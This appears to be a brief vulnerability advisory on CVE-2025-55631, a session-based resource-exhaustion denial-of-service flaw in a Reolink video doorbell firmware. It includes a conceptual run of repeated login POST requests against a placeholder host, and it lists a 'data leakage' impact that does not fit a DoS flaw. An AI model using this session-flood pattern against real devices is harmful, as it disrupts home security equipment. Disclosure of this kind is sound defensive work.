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CVE-2025-55631: Resource Exhaustion Vulnerability in Reolink Smart 2K+ Plug-in Wi-Fi Video Doorbell

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Overview

The CVE-2025-55631 is a significant cybersecurity vulnerability discovered in the Reolink Smart 2K+ Plug-in Wi-Fi Video Doorbell with Chime, firmware v3.0.0.4662_2503122283. This flaw could potentially lead to a Denial of Service (DoS) attack via resource exhaustion, impacting homeowners, businesses, and other users of the device. Considering the widespread use of this product, addressing this vulnerability is of utmost importance to prevent system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-55631
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

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Product | Affected Versions

Reolink Smart 2K+ Plug-in Wi-Fi Video Doorbell with Chime | Firmware v3.0.0.4662_2503122283

How the Exploit Works

The vulnerability arises from how the Reolink Smart 2K+ Plug-in Wi-Fi Video Doorbell manages user sessions. Instead of managing sessions on an account-by-account basis, the system manages them system-wide. An attacker could exploit this flaw by initiating multiple user sessions, leading to resource exhaustion and causing a Denial of Service (DoS).

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. In this case, the attacker initiates multiple user sessions to exhaust system resources:

POST /initiate_session HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "username": "attacker_1", "password": "password" }
POST /initiate_session HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "username": "attacker_2", "password": "password" }
...
...
...
POST /initiate_session HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "username": "attacker_n", "password": "password" }

This repeated process could exhaust the system resources eventually leading to a denial of service. Users are advised to apply the vendor patch or use WAF/IDS as temporary mitigation.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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